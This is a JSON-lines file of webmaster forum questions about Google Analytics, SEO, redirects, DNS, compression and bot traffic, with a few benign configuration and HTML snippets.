{"id":"49358","title":"Google Analytics: How do I create a custom report to view today's top visited pages by page title?","text":"I'm trying set a \"Custom Report\" that shows today's top visited pages by page title. Here's a picture of what I have set so far:  I tried to filter by \"Date\" with \"Today\" selected, but that does not seem to work. Does anyone know how to set a Custom Report to automatically filter for \"Today\" only?"}
{"id":"17482","title":"Google Apps claims my domain is registered but when I try to access it claims it is not","text":"we have registered one of our domains with Google Apps 2 years ago. However, we didn't even use it. Now if I try to access: http:\/\/google.com\/a\/mydomain.com What I see is: > Server error Sorry, you've reached a login page for a domain that isn't > using Google Apps. Please check the web address and try again. Then I go to Google Apps Standard Edition signup page and type mydomain.com. However, what I get is: > This domain has already been registered with Google Apps. Please contact > your domain administrator for instructions on using Google Apps with this > domain. Is there anyone who can explain me what this inconsistency is caused by and what I can do? Since Google Apps Standard Edition doesn't grant me to contact with Google, I can't even submit a bug report. Any help would be appreciated."}
{"id":"3569","title":"is there any webpage preloader?","text":"I found preloader for flash|swf files. preloader,lazyloader for images.But nothing for complete webpage. Some sites, like mine, have big header and footer. I need some preloader for this. Please suggest."}
{"id":"61778","title":"Google Chrome issue with SSL","text":"Using this code: RewriteEngine on RewriteCond %{HTTPS} off RewriteRule (.*) https:\/\/%{HTTP_HOST}%{REQUEST_URI} My site goes to HTTPS if I type in www.domain.com. HOWEVER, only Google Chrome refuses to show my EV CERT and complains about mixed content. If I visit the site in HTTPS or jump pages because everything is set to HTTPS now in the links I don't have the problem. The green bar shows just fine. Is this a bug with Google?"}
{"id":"4485","title":"Is there any reason why a GIF image would show in FF\/Chrome and not IE?","text":"I've been asked to investigate why the images on a particular site cannot be viewed in IE (6\/7 and 8, multiple machines) but is visible in all other browsers. I've verified that it has nothing to do with the site itself by downloading the image and placing it as an image in a local HTML file, with the same result. Accessing the url directly in the address bar in IE again does not display the image, only the little red X. Here's the image: http:\/\/i.stack.imgur.com\/qxJJa.gif Why would all other browsers show this image except IE? What can I do to get the image to work in IE?"}
{"id":"13396","title":"What would be causing so much bandwidth usage if there are no large files?","text":"I'm pretty new to web design\/coding so I'm sorry if this question has an obvious answer I've overlooked. I'm currently working on a website for a small company (from scratch\/no CMS) and am basing it off of the HTML5reset to get used to some of that stuff. I FTPd an early version of the site to the server (hosted by Netix) for the client to OK. The next day I got a call from the client saying that the netix had called him to tell him that his site was taking up something like 10GB of bandwidth on the server. From what I can see the site is no bigger than 10MB. I called netix to try and figure it out with them. I was informed that there is some sort of 'bandwidth leakage' in my code, but couldn't get any more information. I'm at a total loss. I don't understand this at all and don't even know where to begin when it comes to diagnosing the problem. I can't even log in to the control panel on the site as I get a 509 Bandwidth Limit Exceeded error. Thank you so much for any help!"}
{"id":"4480","title":"Facebook Like button unclickable","text":"I've decided to add a Like button to one of pages on my website. The button appears, but it can't be clicked (i.e. nothing happens) I've tried both _iframe_ and _XFBML_ with different settings, but nothing helped. Here is an example of not working button What can I do to fix the problem? Additional information can be provided if needed, just write a comment."}
{"id":"20995","title":"How do I remove outlier data from a Google Analytics chart?","text":"I want to display a pie chart of pageviews for my site, but there are a few outlier pages I do not want included. Is there a way to exclude those sites from the pie chart?"}
{"id":"20996","title":"Implementing Google Analytics through GoDaddy\/Website Tonight","text":"Is there a way to implement Analytics with GoDaddy's \"Website Tonight?\" Obviously GoDaddy wants you to sell you their analytics package, but this is what the client wants. I don't see any way to access the head of the page, and Google isn't recognizing analytics code placed in the body. I've scoured the Internet and all I can find is outdated information and things like this http:\/\/community.godaddy.com\/help\/2996 which have been no help. Thanks for your time and comments."}
{"id":"48191","title":"How should I include \"outside\" content mentioning\/related to my site?","text":"I have a web shop and I'm thinking about doing a \"In the media\" page where I would link to other sites\/blogs that mention my shop\/products and now I'm unsure if I should include a link as a short blog post, e.g. The site owner is exicted about our stencils, specially about This Product and that Product. or ... well, I don't have a better idea how to do it :)"}
{"id":"18329","title":"Optimizing for load time VS staying organized","text":"I am working on several projects where I often have to make small changes. Now I know it is important to have a fast loading page, but as a developer it is also handy to keep organized by splitting files. On most of the pages I have a huge CSS file. I have my reset in there, the framework, the actual styling, everything. I have combined the files. And this can also be taken a step further by minifying it. Same goes for the JS. One file, fast load time. When I need to make changes after a few months, it's always a hassle to find out where the correct stuff is located in the huge file. It would be better if the files were split and imported. Now my question is which one do you prefer, or is there a method to have both."}
{"id":"2903","title":"Punch Line Marketing","text":"There are so many \"punch line\" websites like: http:\/\/www.thatswhyyoufail.com www.canrailsscale.com\/ www.nooooooooooooooo.com\/ but it's a mystery how they ever get so popular. I have an idea for a punch line website too, but I want to make it BIG! Does anyone have any tips for marketing these kinds of sites? p.s. and no, I do not own any of these sites, and am not disguising it as a question to market them lol."}
{"id":"704","title":"How can I hide whois information?","text":"Is it possible to hide ownership of a domain, so i won't show up on whois searches for domains I own, even if you know where to look?"}
{"id":"44473","title":"Spiders crawling broken links","text":"**Tl:Dr** Unknown bot crawling the same broken (HTTP 400) URL over and over again. Different User Agent and different country of origin. ## The Problem It seems at least once a week we're getting a big burst of HTTP 400 errors being hit on our site (we have logging to inform us). We'll check the logs in the morning and there's anywhere between 50 - 200 hits onto this single URL `\/foo\/bar\/item\/`. ## What We Know This URL appears on almost every page of our site (product listings) but is always formed as `\/foo\/bar\/item\/857398` with an integer item ID on the end. When it's hit without an ID it correctly throws a HTTP 400 Invalid Request. It seems this is a spider of some sort: * It hits with different user agents, seeming to vary between IE6, Firefox 5 and opera 8 * It hits in small bursts of 2 - 10 requests every 30 minutes * It doesn't run JavaScript, as I can't find any trace of it in Google Analytics * It doesn't request any images linked on the page, the logs just list page after page, with no image requests between * It's very often proxy-ed to lots of different countries (we use Geo IP to trace as far as possible from the header information) * It doesn't send any HTTP_REFERER headers to trace which page it picked the URL up from We've placed this URL in `robots.txt` as `\/foo\/` because none of that URL subset should be indexable (almost all of it requires login). I'm lost after that, it's still hitting this same URL over and over, I'm guessing it's picking it up from each individual page and just trying to fetch it every time, there doesn't seem to be any intelligence in remembering which URLs don't work. I know this is almost impossible to stop as it's a public facing website being accessed by anyone who cares, but does anyone have _any_ suggestions? I also can't understand what they're achieving with such an inefficient crawling algorithm, or could this be some other kind of bot? ### Update Here the `$_SERVER` dump, with identifying information redacted, everything else is intact. $_SERVER=array ( 'REDIRECT_AC_HEADERS' => '', 'REDIRECT_SCRIPT_URL' => '\/foo\/bar\/item\/', 'REDIRECT_SCRIPT_URI' => 'http:\/\/www.example.com\/foo\/bar\/item\/', 'REDIRECT_STATUS' => '200', 'AC_HEADERS' => '', 'SCRIPT_URL' => '\/foo\/bar\/item\/', 'SCRIPT_URI' => 'http:\/\/www.example.com\/foo\/bar\/item\/', 'HTTP_HOST' => 'www.example.com', 'HTTP_USER_AGENT' => 'Mozilla\/5.0 (Windows NT 5.1; U; en) Opera 8.01', 'HTTP_ACCEPT' => 'text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8', 'HTTP_COOKIE' => 'frontend=sfasdfasdfasdfasdfasdfdsf; frontend=sdfasdfasdfasdfasdfa', 'HTTP_VIA' => '1.1 localhost', 'HTTP_CONNECTION' => 'Keep-Alive', 'PATH' => '\/usr\/local\/bin:\/usr\/bin:\/bin', 'SERVER_SIGNATURE' => '<address>Apache\/2.2.16 (Debian) Server at www.example.com Port 80<\/address> ', 'SERVER_SOFTWARE' => 'Apache\/2.2.16 (Debian)', 'SERVER_NAME' => 'www.example.com', 'SERVER_ADDR' => '**.**.**.**', 'SERVER_PORT' => '80', 'REMOTE_ADDR' => '**.**.**.**', 'DOCUMENT_ROOT' => '\/var\/www\/example.com\/website\/', 'SERVER_ADMIN' => 'webmaster@example.com', 'SCRIPT_FILENAME' => '\/var\/www\/example.com\/website\/index.php', 'REMOTE_PORT' => '51735', 'REDIRECT_URL' => '\/foo\/bar\/item\/', 'GATEWAY_INTERFACE' => 'CGI\/1.1', 'SERVER_PROTOCOL' => 'HTTP\/1.1', 'REQUEST_METHOD' => 'GET', 'QUERY_STRING' => '', 'REQUEST_URI' => '\/foo\/bar\/item\/', 'SCRIPT_NAME' => '\/index.php', 'PATH_INFO' => '\/foo.bar\/item\/', 'PHP_SELF' => '\/index.php\/foo\/bar\/item\/' )"}
{"id":"33793","title":"What is the default serif, sans-serif and monospace font-family for Mac OS X?","text":"Beginning with OS X 10.0 _Cheetah_ , and assuming they are the same through the current release 10.8 _Mountain Lion_ , what are the default fonts rendered for the following font-families? * `font-family: serif;` * `font-family: sans-serif;` * `font-family: monospace;`"}
{"id":"58245","title":"How can I get my website to enable gzip compression?","text":"I'm currently trying to increase the speed of my website and I noticed that, when I run it through `ismyblogworking.com`, I get a message that reads \"your blog application doesn't support gzip compression.\" Since then, I've tried quite a few things to enable gzip compression. I've updated my Wordpress to 3.8.1 (the most recent update), I've installed W3 Total Cache and I've added the follow code to my _.htaccess_ : compress text, html, javascript, css, xml: AddOutputFilterByType DEFLATE text\/plain AddOutputFilterByType DEFLATE text\/html AddOutputFilterByType DEFLATE text\/xml AddOutputFilterByType DEFLATE text\/css AddOutputFilterByType DEFLATE application\/xml AddOutputFilterByType DEFLATE application\/xhtml+xml AddOutputFilterByType DEFLATE application\/rss+xml AddOutputFilterByType DEFLATE application\/javascript AddOutputFilterByType DEFLATE application\/x-javascript AddType x-font\/otf .otf AddType x-font\/ttf .ttf AddType x-font\/eot .eot AddType x-font\/woff .woff AddType image\/x-icon .ico AddType image\/png .png However, I'm still getting the same warning sign, still ranking low for PageSpeed Insights. Can anybody give me some advice as to what I should be doing here? How can I get a WordPress site to enable gzip compression?"}
{"id":"33797","title":"To have multiple sites with similar content on the same server but different IPs?","text":"I have 7 different sites on the same dedicated server. Two major sites have different IPs, and 5 small share the same IP. About first 2 they have similar content, but not the same. Basically they have different: * URLs * Titles * Meta Data But they both have the same niche. I was thinking about two strategies. One is to move one of the sites (from 2 first one) on different server or move 5 other sites on different server. But I'm not sure which way is better. My questions are: 1. Wouldn't be better from SEO stand point, to move those 2 sites on different servers? 2. Does it worth it to spend for additional server? 3. Do you know if Google penalize sites for similar content on the same server with different IPs?"}
{"id":"14618","title":"Two domains, one site - what's the best way to set this up?","text":"I'm setting up a site, say mysite.com. I've also bought mysite.net. What's the best way to mange this so that regardless which the user types, they end up on mysite.com? Also, what are the implications for SERPS, if any? Is it as simple as putting a small redirect asp file on the mysite.net directory like: <%@ Language=VBScript %> <% Response.Status=\"301 Moved Permanently\" Response.AddHeader \"Location\",\"http:\/\/www.mysite.com\/\" %> Any downsides to this? Thanks!"}
{"id":"34968","title":"How to stop Feedreader fetching content from my site using iFrame?","text":"As you all can see from the picture below, my site's content is duplicated by FeedReader (using iFrame) and indexed at Google. When I clicked at the FeedReader link, it uses some sort of iFrame to draw content from my site live. At the meantime, my site traffic has dropped significantly, but I not sure if this is the reason. https:\/\/lh4.googleusercontent.com\/-hc4pVwHvQoo\/UGGcwVyRqYI\/AAAAAAAAAIc\/9m04UOwmfEk\/s1600\/1.PNG https:\/\/lh3.googleusercontent.com\/-ljj6dV7xTik\/UGGc0x4GiZI\/AAAAAAAAAIk\/3mZ6HiCiQ2w\/s1600\/2.PNG What can I do to prevent Feedreader to fetch my content to their site? Any help would be much appreciated. By the way, I'm using wordpress as my CMS. I have also highlighted this issue to FeedReader 2 days ago, but yet to get any reply from them."}
{"id":"33799","title":"What's the deal with URLs for Yandex.Metrica not prepended with \"http\"?","text":"The description of Yandex.Metrica explicitly says that URLs like `\/\/mc.yandex.ru\/metrika\/watch.js` (no `http:` in front) that the web site owner has to insert into his pages are not erroneous. So for example this code: <img src=\"\/\/mc.yandex.ru\/watch\/00000\" style=\"position:absolute; left:-9999px;\" alt=\"\" \/> is claimed to be okay. However the code validator thinks such URLs are not okay and I'd rather make the validator happy so that noone breaks the code later trying to \"fix\" it. Why are these URLs not prepended with `http:`? What happens if I actually prepend them with `http:`?"}
{"id":"14611","title":"Validate DOM tree \/ find unclosed tags offline","text":"Are there any simple tool to use for finding unclosed tags? Like a missing , wrong spelled , \/div> and so on? W3C distributing some offline installations but I'm not using Apache and any kind of GNU systems for my development."}
{"id":"5319","title":"Are there any good reasons to avoid using the noscript tag in an HTML5 header?","text":"I need an efficient and aesthetically-pleasing way to gracefully degrade site appearance for users with Javascript disabled and, while I am not aware of any problem with adding a link to an alternative stylesheet wrapped in `noscript` tags in the document header w\/HTML5, I figured it couldn't hurt to ask before going that route. **Update:** Example document to demonstrate undesirable behavior when using JS to hide elements This document reliably shows a red blink while the browser repaints the window contents when I test with a hard refresh in Internet Explorer 8.0 (note that I had to add a fairly large image to get IE to exhibit this behavior - I expect that this will appear in IE whenever resources are low). <html> <head> <title>See the blink?<\/title> <script type=\"text\/javascript\" src=\"https:\/\/ajax.googleapis.com\/ajax\/libs\/jquery\/1.4.3\/jquery.min.js\"><\/script> <script type=\"text\/javascript\"> $(document).ready( function() { $('#blinky').css('display','none'); }); <\/script> <style type=\"text\/css\"> body { background-color:#000000; } div#blinky { background-color:#FF0000; position:absolute; height:100%; width:100%; } <\/style> <\/head> <body> <img src=\"http:\/\/apod.nasa.gov\/apod\/image\/9712\/orionfull_jcc_big.jpg\" height=\"1\" width=\"1\" \/> <div id=\"blinky\"> <h1>Did you see it?<\/h1> <\/div> <\/body> <\/html> I refuse to upgrade until I absolutely have to, so I believe my somewhat- underpowered desktop is representative of the lowest common denominator of the user experience; I can't guarantee that you'll be able to duplicate on a high- end machine with ample resources available but you're welcome to give it a try to see what I mean."}
{"id":"38679","title":"Page for page redirect in Google App Engine","text":"I have recently changed domain name for a webapp I run on Google App Engine and I am wondering if there is a simple way to do a page for page redirect from my old website to the new domain. Everything code wise is staying exactly the same but I just want it to go to the new domain. I am using Python and the webapp2 framework for the web app. I know I could go through and for every single handler do: webapp2.redirect('the specific url', permanent=True) but I am hoping for a simpler solution."}
{"id":"49527","title":"Why does Google's search results display my home page instead of my target page?","text":"Our ecommerce site `www.example.com` ranks very high for the search term: \"turtle food\". The homepage shows up on the 1st page of Google's search results. I found this out by using Google Webmaster Tools. But the link that Google displays is to our home page and not to `www.example.com\/turtle-food`, which would be much better for user engagement and reducing bounce rate. Google's other first page results link to other pet food sites, but those results go right to their turtle food pages. Is there any way to fix this easily? Can I redirect users based on the search terms they used to find our site? Can I suggest that Google use `www.example.com\/turtle-food` instead of just `www.example.com`? Or is the only way to \"fix\" this just to try to get our turtle food page to rank higher organically?"}
{"id":"23326","title":"SEO - Delete old indexed pages from Google 301 vs 404?","text":"We're launching new website with new url structure and new content. Domain is the same. Many old pages are indexed by google. Should I use 404 or 301 and redirect to '\/' for these old resources? I also want to remove these pages from google index."}
{"id":"13020","title":"What is the easiest way to build a private website network based on Linkedin profiles?","text":"What is the easiest way to build a private website network based on Linkedin profiles? Are there any pre-built softwares\/webapps that can do this? Would appreciate if someone can point me in the right direction. This is what inspired my question. Taken from The Next Web Conference: http:\/\/thenextweb.com\/eu\/2011\/04\/25\/taking-conference-networking-to-the-next- level\/ > We’ve built a private (mobile) business network, that works on any phone, > tablet and laptop but is only accessible to attendees of TNW2011. It really > takes networking to the next level. We tested a first version of this > network at a previous conference and it delivered so much more value for > people, that some of them told us they would happily pay 500 euros extra for > an event as long as they offered this tool too. This is what I'm aiming to replicate. > The network allows you to: > > * Browse and search through all attendees > * Set up meetings on and around the event with attendees > * Meet potential clients > * Ask for introductions >"}
{"id":"13027","title":"stress test video streaming","text":"is there a way to stress test video streaming? Basically simulating a high number of people simultaneously streaming a video? This is an amazon 'cloud' service that will be enabled for my site."}
{"id":"50105","title":"Google rich snippets not showing in SERP but was detected in Webmaster Tools","text":"My rich snippets don't show in Google SERPs but Google Webmaster Tools detected that I have more than 2 thousand pages that shows my rich snippets. I can see the snippets at Google rich snippets testing tool, everything is fine there. What are the possible reasons why it happens?"}
{"id":"63061","title":"Search result website title for Bing and Yahoo","text":"I own a website and in the Google Search result, everything is ok, the result have the right title (the `<title>` tag of my page). On Bing & Yahoo, the title which is displayed on result is not the good one. I think it is an very old (more than 1 month). There is a way to ask for an update or something? **EDIT 1** : After one month, there is no change. When i search my domain name, informations given are outdated, if i search the page title, the informations are corrects.. How can i change this ?"}
{"id":"30114","title":"100% visitors drop off after home","text":"I have a WP 3.3.2 site and i use the google analytics code. Though everything seems ok with the results i get there is an error. All visitors drop off after homepage. You can check the image here. ! http:\/\/imgur.com\/shyNX I change position of the GA code and from just before < \/ body> i moved it to just before < \/ head> and now i use a wordpress plugin for this work. Still nothing changes."}
{"id":"48370","title":"Website's url when tracking multiple subdomains in Google Analytics under one account","text":"I would like to track a main domain in Google Analytics and also its multiple subdomains. But I would like each domain to have its profile, to be able to view every subdomain separately. I made an account GA and its property. Then I made a profile for the main domain and created a rule to add domain name to the results: > 1. In the Profile Settings page, click the Add Filter link. > 2. Choose Add New Filter and provide the filter a name. > 3. Choose Custom Filter and select Advanced on the Filter type settings. > 4. Under Advanced settings: FieldA should be set to Hostname FieldB should > be set to Request URI > 5. Set the values for both Field A and Field B to (.*), which is an > expression that captures all characters. > 6. Set the Output To --> Constructor option to Request URI and provide > $A1$B1 as the value for that choice. > > > Your reports will now show: > > * www.example.com\/index.php > * sub.example.com\/more.php > It's tracking code is: _gaq.push(['_setAccount', 'UA-12345-1']); _gaq.push(['_setDomainName', 'domain.com']); _gaq.push(['_trackPageview']); Then I created another profile for the subdomain, where I set **the same** tracking code and also **the same website's URL** (`http:\/\/www.domain.com`) for every subdomain. Is this the right way to do so? I also added a rule for all subdomains to **include** hostname: givensubdomain\\.domain\\.com Is it ok? I'm asking because I can see some online visitors in real time reports for both domains and subdomains, but I'm unable to see those when I look into the standart reports and set the date for today."}
{"id":"19237","title":"Tracking multiple domains and subdomains on one analytics profile","text":"I'm looking to set up Google Analytics for a system we have. Essentially, we have a multi tenant system where everything shares a single code base but might have extra pages or not. What I think I'm looking to do is listed on Google's documentation for cross domain tracking. However, each site \/ subdomain would be considered a different site, so I think I can leave out the bit about transferring visitor data between domains. I don't need to know if I user has come from site A to site B. I'm happy to consider it a unique user. It would be rare to happen, anyway, due to how the site is created. Host names for the sites that come to the application can be in the format of: * abc.mydomain.com * def.mydomain.com * something-different.com * abc.something-different.com * ... anything I realise that the first thought is probably 'If you say they're different sites, then track them with different accounts' but we're hoping to have the analytics for the entire application under one tracking ID, with profiles that have filters applied to them for the different sites. This question is similar: One multi-domain analytics profile, or one analytics profiles per domain? but the answer from Jeff talks about the solution for different domains and the solution for different subdomains. Not both. From the documentation, I think I just need to have the following _gaq.push(['_setDomainName', 'none']); So: * Am I off the mark with what I'm proposing to do? * Does anyone have experience with this sort of scenario - and what was your solution? * I say I'm looking to disregard the visitor data transfer, but is it something I need? * By setting '_setDomainName' to 'none', does this make the domain on the account mean nothing? Thanks in advance."}
{"id":"31791","title":"Lazyloading images and SEO","text":"Lazyloading images with a noscript fallback. Should I expect any damage in the SERPs? The site is completely thumbnail based. Also should I put a smaller image size in the noscript fallback to increase crawlability? We have nearly 1mil thumbs so it's a decision I'm hesitant to do. The reason why I'm thinking about it in the first place is because we're upping thumbail size about 50% which will add 10% of pagesize."}
{"id":"31245","title":"How does Google Rank \"Priority\" for \"Not Found\" errors?","text":"Google lists `Not Found Errors` in Webmaster Tools as Ranked by `Priority`, but what is `Priority` based on? "}
{"id":"31244","title":"Submitting a sitemap to take care of inherited Google crawler errors","text":"I have an awful lot of Google Crawler errors (1000 or so) after I inherited a site that the previous owner migrated without moving much of their content. Would generating a map of the current site and submitting it to Google help fix this? Is there any quicker, automated way to eliminate errors other than clicking each and every site error? Note: I have already tried automating this on my own."}
{"id":"3155","title":"Google Keyword Competition rating","text":"Google offers a Keyword application that allows me to see the number of time a particular query has been made in Google. There is a column in the results named \"Competition\" (Actually its Concurrence in French, I'm just translating). Its a rating from 0 to 1, as in percentage. What indicator is that? EDIT * Is this something useful I should rely on? I'm not sure about how to interpret this data. Should I go for less competitive keywords with a lower number of searches or not worry about it and go for the highly searched keywords anyway? Is 50% considered high? what about 75% ? I have a very niche market that sell expensive offline services, so the very long tail is my goal (I assume). If you didn't already figured out, I'm very new to SEO =)"}
{"id":"18062","title":"Are there any further steps that can be taken to improve the quality of AdWords traffic?","text":"Like all PPC engines, the traffic available from AdWords suffers from click fraud, low quality partner networks and aggressive competition. These factors can often mean you pay for clicks you don't want or need. Of course Google do an excellent job in cleaning this up, but often poor quality traffic gets through the net. Is there anything online marketers can do to further filter, monitor and clean up these clicks?"}
{"id":"18063","title":"How Google value .in\/.info domains currently?","text":"As `.info` domain price increased, how much Google value `.info` domain now? Also `.in` domain is now cost less then `.info` (for first year). Is Google going to less value `.in` domain now? I have couple of `.in` domain and now I am really scared about that!"}
{"id":"18061","title":"Index of Content on a Defunct Website\/Blog","text":"Is there a way to find the content on a defunct website or blog? How do you find the content that was on a website from two or three years back? Google cache doesn't appear to hold information from that long ago. I've used Wayback machine, but the content they show is limited -- on less popular sites\/blogs sometimes there is no content at all. Does anyone know of other sources, aside from Wayback Machine that can show me the content that was on a now defunct (taken down 1-5 years ago) website or blog."}
{"id":"37836","title":"Chrome Rewrite of Host: in HTML GET","text":"At some point in the past I had a plugin for firefox that rewrites the HTML headers being sent by your browser, specifically the \"Host:\" line in the HTML GET request. I can't find this plugin online. Does anyone know a plugin\/way to do this? I am looking for one for Chrome but any would work. The specific reason for this is I am trying to work on a wordpress website which I just did a DNS change on. Until that DNS change goes into effect I can use the IP but since its a shared host the Host line isn't set right."}
{"id":"11085","title":"Good DNS Hosting","text":"We look after about 50 websites for clients on shared hosting. We'll soon be moving them to a dedicated server so I am looking for a good place to manage my DNS records (the shared server is currently used as the nameserver too). I want something more reliable. I found DynDNS and was looking at their Small to Medium Business offering, does anyone have experience of using them? Also I presume '100 records' means 100 A records, CNAMES etc, not 100 different domains (my DNS knowledge is very limited). Can anyone suggest a good provider for a design\/web agency that manages the hosting for it's clients? Thanks Ric"}
{"id":"20222","title":"Google Mobile Sitemaps & Adaptive Layouts ( or sites that don't have different urls for “mobile” pages )","text":"I change the layout of my page with CSS depending on the amount of space the device has to work with. I use semantic HTML so if there's no style sheet support it falls back to just an easy to understand HTML page. My urls are the same for every device that comes across the website no matter what device or browser they're on. However, I read through \"Google's SEO Starter Guide\" and it suggests that I should let them know about a mobile version of the website. This seems like the right thing to do with the recent explosion of people using mobile devices to surf the web and how much attention Google is paying to it. My issue is that all my URLs are the same and Google appears to want mobile content served in a special way ( WML, XHTML Mobile Profile, Etc...) so I'm not sure how I should approach it. Should I even bother submitting a mobilesitemap.xml to Google? If I do should I append something to the url to make it different from the regular site like \"?mobile\"? Should I change the doctype when this is present and hope I never anyone arrive at the link with IE? Am I worried about nothing? Also, is there a difference between a \"mobile site\" and a \"mobile friendly site\"? I see Google embracing media queries so it leads me to think that I should just sit back and let Google so its thing but I want to make sure I'm not missing out on traffic for my clients. Any insight would be awesome."}
{"id":"3212","title":"What are my options for Private Video Hosting?","text":"I have a client that basically wants YouTube between a login screen. I know that YouTube offers private video hosting but this service is restricted to 25 users. **Question:** _I am in the need of 'Private' video hosting ideal for a few hundred users, Does anyone know a good YouTube Alternative which will meet the requirements of my client._"}
{"id":"20224","title":"How To Slow Down A Generic Bot?","text":"There is a generic bot (only identified as 'bot*') consuming most of my bandwidth and processing power. Blocking its IP stops it but since it comes from a well-known search-engine, I'd rather slow it down instead (it may be doing some useful experimental work). It's not the official crawler which actually visits my site a reasonable rate. There is a similar question for GoogleBot which I have no problems with. The culprit takes 16X more bandwidth! **What I need though is a way to slow down a bot which is only distinguishable by IP. Is this possible?** EDIT: This is a Virtual Shared Host running Apache under Linux 64-bits with PHP 5.3.8. Although I have no direct control to the webserver, htaccess is enabled and I can have them add and configure modules on request."}
{"id":"20229","title":"Is Nowness.com using Flash to achieve the slideshow effect on their homepage?","text":"The website I am trying to develop has asked for a slider much like the one on Nowness.com. http:\/\/www.nowness.com\/ The specific functionality they would like is that at the end of the slide show or video, an overlay comes up with links to other pages on the site. Ideally, it would be a grid of images, and perhaps no overlay at all. So, you come to the site, a video plays, and after the video is done, a grid of images comes up. I don't know if I'm being entirely clear, but I was wondering if anyone could take a look at Nowness and go to the end of the slideshow, and perhaps be able to tell me what technology they may be using to achieve that effect. Thank you."}
{"id":"20228","title":"Amazon Silk...How will it effect web development","text":"Today Amazon announced a new browser for their upcoming Kindle Fire. (Like we need _another_ browser...) In developing websites we add code like `-webkit-` or `-moz-` for browser specific styles. Any ideas on how this browser is going to handle those items? While this may seem to be jumping the gun as Silk will be available only on the Kindle Fire and thus a small market at first I would not be surprised to see this seep into other applications over time including a desktop version. Thoughts?"}
{"id":"54236","title":"How to tell google a blog article has been updated?","text":"The URL of my posts has the publication date and slugged title, but how can I best show google search users that an article has been updated since its original publication? I was considering devoting a few characters of the meta description (e.g. \"updated 2013-Aug-1), or doing so under the first h1 tag. I don't want to hurt the seo value of my site, but I also want to let users know that articles have been substantially updated since their publication. Is there a better way to do this?"}
{"id":"67663","title":"\"PHP\" is showing up in Browser + OS list in Google Analytics report","text":"`PHP` is listed as a browser in Google Analytics. 50 sessions have been created.  Obviously Analytics data is collected via Javascript executed in the visitor's browser so what is PHP (a server-side language) doing in this list?! My own server is PHP and there is a server-side script that records certain Events by pushing data into GA. I checked the Events report and sure enough, there was the exact same number 50, as the number of `Unique Events`.  So we can safely assume that these stats are actually about hits on the GA API. But why are my own server-side requests to Analytics being bundled in with data which should be about the users? I look at the Browser + OS report to learn about my site's Users, surely mixing in information about my server- side requests to the API is misleading?! PHP is not one of my users browsers, it is my own server pushing user data into my Analytics account. Is there a some parameters I can add to the API requests? Should I be capturing the User Agent string myself and passing that to the GA API? If so, do I then capture the IP Address, language et cetera, the never ending list of things GA records. Can I just tell GA not to include the information about which server is hitting the API but instead, just the information given to the API?"}
{"id":"67661","title":"Can a bounce rate drop from 50% to 10% after event tracking is added in Google Analytics?","text":"I launched a total redesign of a site one week ago to add responsive design, good interlinking, related content recommendations and such. After that the bounce rate dropped just a little from 50% to 48-49% and stayed like this for 5 days. 5 days passed and I implemented event tracking on links, buttons, menus, form submissions, video plays and such. I don't know if it was the reason or not, but the last 2 days bounce rate dropped to 10%+ yesterday and to 9%+ today. Is this possible? 10% sounds too good to be true."}
{"id":"29842","title":"How do I integrate Google Website Optimizer into my Google Analytics account?","text":"I did everything asked of me in the following link: http:\/\/support.google.com\/websiteoptimizer\/bin\/answer.py?hl=en&answer=77075 But am still not seeing my Google Optimizer stats inside Google Analytics. Do both of my Account Ids have to be set differently or the same???"}
{"id":"30420","title":"I want to create an e-learning website","text":"I want to create an e-learning website and host it. (Maybe after some time I want to add forms.) These are the things I know: java, jsp, servlet, html (not guru, almost beginner). I don't have experience in creating websites, I did my college project using jsp,servlet and jdbc. What are the things or technology I need to know before creating website. Is it possible to create a website by one person?"}
{"id":"60275","title":"Do spam bots load the DOM?","text":"I have an issue where a form on my site is getting spammed. The form is actually a copy paste job from a CRM, so I cannot access any of the server side script to make a good human checker. In the interim I have made a very simple JQuery checker. My question is, do spam bots load the DOM thus triggering the JavaScript checker?"}
{"id":"23081","title":"Are this subdomain CNAME and A record settings correct?","text":"I want to add a simple subdomain named \"tr.acme.com\" to my website. I tried following DNS record settings:  No matter what i try, i can't get this subdomain working. Would someone please correct me how to set this subdomain?"}
{"id":"48081","title":"How does Google determine Information about a person for Google Search?","text":"For some queries Google Search will return result with a person's information on a right. It looks a bit differently for different queries but most of the time something like this (https:\/\/www.google.com\/search?q=huskystarcraft):  Assuming Google grabs the information from different parts of the Web, the question is: **How does one put information about a person on the Web in a way that it ends up on Google's search page in described above fashion?**"}
{"id":"44079","title":"If I use my custom domain with my Blogger account will this help in SEO of that blog?","text":"Also I want to know that if my custom domain is nothing but one of the keywords and my blog is also about that keyword, so will this help in improving google ranks of my blog after I change from example.blogspot.com to customdomain.com."}
{"id":"61622","title":"My website's email is being marked as spam, how do I analyse a X-CNFS-Analysis email header?","text":"My website is sending out email that RackSpace email is marking as spam. I'm trying to figure out why the email is being marked as spam and what I can do about it. The most interesting header that the spam filter adds is the `X-CNFS-Analysis` header that looks like it has lots of information about what the spam filter is seeing. However, I don't know how to interpret the information in that header. Here are all the headers that the spam filter has added to one of my emails: X-Virus-Scanned: OK X-Spam-Threshold: 95 X-Spam-Score: 100 X-MS-Exchange-Organization-SCL: 9 Precedence: junk X-Spam-Flag: YES X-Virus-Scanned: OK X-MessageSniffer-Scan-Result: 0 X-MessageSniffer-Rules: 0-0-0-6537-c X-CMAE-Scan-Result: 100 X-CNFS-Analysis: v=2.1 cv=N\/QQSQNB c=1 sm=0 tr=0 p=9ykYl8AZAAAA:8 a=Nk1C7OHzZdtRZR7HpOBzRA==:117 a=Nk1C7OHzZdtRZR7HpOBzRA==:17 a=6KVD7agYW9oA:10 a=DYL8iF3SNlAA:10 a=pdDdBm1-2EwA:10 a=m6qU47vR8oQA:10 a=8StPLQsqK-w3qlaorP8A:9 a=57urXIHmFmcA:10 a=abufaKy4Sp0A:10 More info about my specific situation: These emails are being sent to me at my Rackspace email address. The server is hosted on Amazon AWS. The emails are being sent using Amazon SES. I also send a newsletter this way. I'm not having problems with the newsletter, only the email alerts that my server sends to me to let me know of problems. I feel that if I could decipher the headers, I could diagnose the problem."}
{"id":"61626","title":"Is it better to have one website with two languages or two websites with different languages in terms of SEO?","text":"I would like to know if in terms of SEO, is it better have one website with two languages or two websites with different languages? For example, I would like to have a website with the content in English and Spanish, but not sure if I should keep those languages in the same domain (`example.com`) or have two websites, one per language (`example.com` and `example.es`). Btw, first thing I must take in consideration is amount of visits."}
